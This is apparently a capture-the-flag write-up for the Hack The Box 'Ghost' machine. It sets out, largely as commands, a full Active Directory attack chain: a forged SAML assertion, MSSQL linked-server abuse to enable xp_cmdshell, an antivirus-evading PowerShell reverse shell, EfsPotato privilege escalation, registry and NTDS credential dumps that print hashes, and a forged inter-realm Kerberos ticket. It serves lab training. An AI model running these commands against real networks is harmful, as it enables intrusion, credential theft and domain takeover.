zRzhuYngxOUhELyt5cFc5SjJMdE5GdWdkV3RtVUJXRE9RQllWaEI4U2c0VkVHZ1A5anlJdEhIMmJ6c0RmalJkSjhFMXVOSldQL2tRQTErd1lsT2RkTHFVM2IwSXNDdmxBOEV2WVcwVDFSc3U3N280eC93MGdXYjBvUVBFSXo3ejk3M2I0OTZ3cVF0M0RueWZlTzNsWFhmWk5jdmFqNUtDUDJUdEdCK0tzaEY5cGtJUHhxN0YyZ01oN1FqeGpSSHNBMjlWOGpGbzlnTEQ3a1BWaWNhSVVkc2dpRkhuWVFGMTRhNTJKdFIxVjVpTitoOTVKa3V1RXFRV0RCSEF2UEVCQlprRVpIKzV5VCthQ0ZYWFgrQnBQdDNRR2pZTGVKVThDRnNNdG44UVZMWXZMZGNWUnNVblJoL1dIaVh3Sk9PRVZFQ2E5dzcveVZuaGFsQ05CeDFFL2w0S1FJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQ3dVQUE0SUNBUUFXWUtaVzNjRENCTzZkVDN5ZmwzT2N1eXAxTFZLVkkrOXBGeC9iYldwV2pTZGg2YjM5TFR4eEQ3RllVdGh1V1BaM3JGNEcrRmRNRkhIQ3gzWXBFbVVGbkVMS3NYcWhaOTg5QVg1OEkvM21iZlVsS1dlSVBMU0xrcCtlUlpvTUprdDdrMS9LWHREYXNPUW4wTnNnWUVvd0xCSW1NQ011OXV1am5DbUZPd0hQL0lCaGdZUU1IaDQ2QnpTWFdQM2k4VlhiclJ0RHBvL2MvL09GSmhHbW5uRjhaUG1pNHh0emZTREJwVktxd1ZMcDc4Q2d1TXhqUWQrYmRVYjQ1NTg4Wko0Q0xzUGRSUXAzMFdKMS9DTklhZW52Sld0QTJHNUladzVVMEVXQ0pMb1lKV0ZzOWl5T2ExL3k1NXJ1VzZKOGxJR0Qwd21vRWVDbDlDSDFFZDRkelVkVVhmMU1CQ1lQM1g5MmlheHpVRTB1cEdkLzFRbzZIVHl5T2xXdUF3cmtUMlZIRUxLVlpLT2c4K2RseTk3Z3laSWZVdFF3SWtQd05sOHZvMDRjZmoraHpPdkJ6UEtBQVloMTROTGd2ZUFJL0RxTW5PME9LTyt3MUhCS3c2NE5CQ244Z29hekYrUHVGZlVPMHlOSEZMNGt4TXBjYXA2aWV2NmczQlhDU0R3ZnFUVU9FdUVzN3E5b1lLZ3EycW5OVk9USWhoSW5NWEJ6RW02aVAxM2pmdU9vWEpkUEFuRVVYbjR5NXl3QTk3cnRiR25aRVB5eDFmMUVrWC9oYnFCUDR2b2d2OWtsdGFVRUVWWGtTK2hQcHhabWV4Q05yQkQxcTdHSi81MGViWWxDMENldjh3Nk1zOHRNME9ydnBwR1lsV3J0UHdldkV2ZmlSa3dCTEc3RU1BbkxTdz09PC9kczpYNTA5Q2VydGlmaWNhdGU%2BPC9kczpYNTA5RGF0YT48L2RzOktleUluZm8%2BPC9kczpTaWduYXR1cmU%2BPFN1YmplY3Q%2BPE5hbWVJRCBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpuYW1laWQtZm9ybWF0OnRyYW5zaWVudCI%2BR0hPU1QuSFRCXGFkbWluaXN0cmF0b3I8L05hbWVJRD48U3ViamVjdENvbmZpcm1hdGlvbiBNZXRob2Q9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjbTpiZWFyZXIiPjxTdWJqZWN0Q29uZmlybWF0aW9uRGF0YSBOb3RPbk9yQWZ0ZXI9IjIwMjUtMDQtMDRUMjE6MzA6MjUuMDAwWiIgUmVjaXBpZW50PSJodHRwczovL2NvcmUuZ2hvc3QuaHRiOjg0NDMvYWRmcy9zYW1sL3Bvc3RSZXNwb25zZSIvPjwvU3ViamVjdENvbmZpcm1hdGlvbj48L1N1YmplY3Q%2BPENvbmRpdGlvbnMgTm90QmVmb3JlPSIyMDI1LTA0LTA0VDIxOjI1OjI1LjAwMFoiIE5vdE9uT3JBZnRlcj0iMjAyNS0wNC0wNFQyMjoyNToyNS4wMDBaIj48QXVkaWVuY2VSZXN0cmljdGlvbj48QXVkaWVuY2U%2BaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzPC9BdWRpZW5jZT48L0F1ZGllbmNlUmVzdHJpY3Rpb24%2BPC9Db25kaXRpb25zPjxBdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPEF0dHJpYnV0ZSBOYW1lPSJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy91cG4iPjxBdHRyaWJ1dGVWYWx1ZT5HSE9TVFxhZG1pbmlzdHJhdG9yPC9BdHRyaWJ1dGVWYWx1ZT48L0F0dHJpYnV0ZT48QXR0cmlidXRlIE5hbWU9Imh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL2NsYWltcy9Db21tb25OYW1lIj48QXR0cmlidXRlVmFsdWU%2BQWRtaW5pc3RyYXRvcjwvQXR0cmlidXRlVmFsdWU%2BPC9BdHRyaWJ1dGU%2BPC9BdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPEF1dGhuU3RhdGVtZW50IEF1dGhuSW5zdGFudD0iMjAyNS0wNC0wNFQyMToyNToyNC41MDBaIiBTZXNzaW9uSW5kZXg9Il84MjJUUDEiPjxBdXRobkNvbnRleHQ%2BPEF1dGhuQ29udGV4dENsYXNzUmVmPnVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphYzpjbGFzc2VzOlBhc3N3b3JkUHJvdGVjdGVkVHJhbnNwb3J0PC9BdXRobkNvbnRleHRDbGFzc1JlZj48L0F1dGhuQ29udGV4dD48L0F1dGhuU3RhdGVtZW50PjwvQXNzZXJ0aW9uPjwvc2FtbHA6UmVzcG9uc2U%2B
    

Exploiting the linked DB in MSSQL
#

We can add the corp.ghost.htb subdomain to our /etc/hosts and look at how this MSSQL debug terminal works. It seems like we are using it as web client :

  • We can also check that we can not use xp_cmdshell with our current privileges
  • We see the databases are :
    • master
    • tempdb
    • model
    • msdb

With the following command we manage to get the hash of the DC01$ User

EXEC master..xp_dirtree '\\<MY_IP>\share\'

And running :

sudo responder -w -v -I tun0

This NetNTLM Hash does not help so let’s check if we can impersonate someone :

SELECT distinct b.name  FROM sys.server_permissions a  INNER JOIN sys.server_principals b  ON a.grantor_principal_id = b.principal_id  WHERE a.permission_name = 'IMPERSONATE'

Sadly not so let’s see if this database is linked to another database (as it is hinted in the text above the form) :

SELECT srvname, isremote FROM sysservers

We can see that the PRIMARY database is linked (isremote is at false) :

We can get information on the server on the other end :

EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [PRIMARY]

Escalating privileges in the remote MSSQL server and getting a reverse shell
#

This means we can execute command as bridge_corp on the other end. We can also check this using

EXEC sp_helplinkedsrvlogin

We can check for xp_cmdshell being activated (sadly not)

EXECUTE('xp_cmdshell ''dir c:\''') AT [PRIMARY]

So let us now check as we did before if we can impersonate someone :

EXECUTE(' SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = ''IMPERSONATE''') AT [PRIMARY]

Looks like meat is back on the menu boys ! Now all we need to do is run

EXECUTE('EXECUTE AS LOGIN = ''sa''  SELECT SYSTEM_USER  SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [PRIMARY]

We can now enable command execution :

EXECUTE('EXECUTE AS LOGIN = ''sa''  EXECUTE sp_configure ''show advanced options'', 1 RECONFIGURE EXECUTE sp_configure ''xp_cmdshell'', 1 RECONFIGURE') AT [PRIMARY]

Now we can run any command with

EXECUTE('EXECUTE AS LOGIN = ''sa''  EXEC xp_cmdshell ''<CMD>''') AT [PRIMARY]

For instance :

EXECUTE('EXECUTE AS LOGIN = ''sa''  EXEC xp_cmdshell ''dir C:\''') AT [PRIMARY]

Let us now execute a base64 PowerShell reverse shell from https://www.revshells.com/ Start a listener :

rlwrap -cAr nc -lnvp 4444

We run the base64 PowerShell reverse shell but get an error ! Good thing since it means it executed the code, bad thing since this means the antivirus is checking :

Since the antivirus runs we need to use a reverse shell that will not get flagged as malicious such as one kindly generated by https://github.com/Adkali/PowerJoker

We send the payload generated by powerjoker and 🎉 here’s the shell :)

Privesc on the Windows machine
#

We now have the seimpersonate privilege which is quite useful 😁

We can then try to grab the code for efspotato and compile it on the machine :

wget https://raw.githubusercontent.com/zcgonvh/EfsPotato/refs/heads/master/EfsPotato.cs
python -m http.server

then

(New-Object Net.WebClient).DownloadFile('http://10.10.16.64:8000/EfsPotato.cs','C:\Users\Public\a.cs')

csc is not in the path (or not installed but luckily it was) but we know the csc.exe should be in c:\Windows\Microsoft.NET\Framework\vX.X.XXX based on the docs

Basing ourselves off of the documentation for compiling with version 4.X

We can now generate a powershell payload with PowerJocker again but for port 4242 this time and then pass it to our EFSpotato (green box) to finally get a hit (red box) :

Exploit the trust link to get Administrator on the parent domain #

So now that we are the admin of this machine we may be able to move from corp.ghost.htb to ghost.htb by exploiting the trust link between both. To do so we can create a ticket on the parent domain for an account in the child, if we have the trust key.

Let us dump the registry with reg save :

reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save
sudo impacket-smbserver share . -smb2support -username pentester -password 92b165232fbd011da355eca0b033db22b934ba9af0145a437a832d27310b89f9
net use \\10.10.16.64\share /u:pentester 92b165232fbd011da355eca0b033db22b934ba9af0145a437a832d27310b89f9
copy C:\sam.save \\10.10.16.64\share\
copy C:\security.save \\10.10.16.64\share\
copy C:\system.save \\10.10.16.64\share\

Then run

secretsdump.py -sam sam.save -security security.save -system system.save LOCAL > ../loots/DC01/dump

We have the machine hash and can now use is to dump the NTDS, to get the trust key in order to use ticketer.py. For that we need to setup a network proxy since the machine is not in the same subnet.

sudo ip tuntap add user kali mode tun ligolo1
sudo ip link set ligolo1 up
ligolo-proxy -selfcert -laddr 0.0.0.0:443

We can thus give ourselves access to the 10.0.0.10/24 subnet via this :

sudo ip route add 10.0.0.0/24 dev ligolo1

And run in the ligolo interface :

start --tun ligolo1

We can now run

nxc smb 10.0.0.10 -u 'PRIMARY$' -H '27f92da5e3d79962020ddebc08ed7d70' --ntds

and we get

Administrator:500:aad3b435b51404eeaad3b435b51404ee:41515af3ada195029708a53d941ab751:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:69eb46aa347a8c68edb99be2725403ab:::      PRIMARY$:1000:aad3b435b51404eeaad3b435b51404ee:27f92da5e3d79962020ddebc08ed7d70:::           GHOST$:1103:aad3b435b51404eeaad3b435b51404ee:00734331c444199a36bf9b2b1a69e5d5:::

To get to the parent domain we need :

  • The trust key : GHOST$:1103:aad3b435b51404eeaad3b435b51404ee:00734331c444199a36bf9b2b1a69e5d5:::
  • The SID of the parent domain : S-1-5-21-4084500788-938703357-3654145966 to which we will append the -519 which represents the Enterprise Admins (as mentionned here)
  • The SID of the child domain : S-1-5-21-2034262909-2733679486-179904498
    both SIDs can be found on bloodhound for instance, using analysis > map domain trust and then looking into the information related to each node

And we create the ticket using :

ticketer.py -nthash '00734331c444199a36bf9b2b1a69e5d5' -domain 'corp.ghost.htb' -domain-sid S-1-5-21-2034262909-2733679486-179904498 -extra-sid S-1-5-21-4084500788-938703357-3654145966-519 -spn krbtgt/'ghost.htb' Administrator

We can now export the ticket :

export KRB5CCNAME=~/Documents/HTB/Boxes/Ghost/loots/AD/Administrator.ccache

With this we can request a TGS for accessing SMB shares on the DC :

getST.py -k -no-pass -spn 'CIFS/DC01' 'ghost.htb'/'Administrator@corp.ghost.htb'

We can now export it :

export KRB5CCNAME=~/Documents/HTB/Boxes/Ghost/loots/AD/Administrator@corp.ghost.htb@CIFS_DC01@GHOST.HTB.ccache

And we can (finally !) grab the flag from the share

smbclient.py 'corp.ghost.htb'/'Administrator'@DC01 -k -no-pass

PS : I saw afterward the Ippsec just released a video writeup which is great ! If you want a video version be sure to check it out :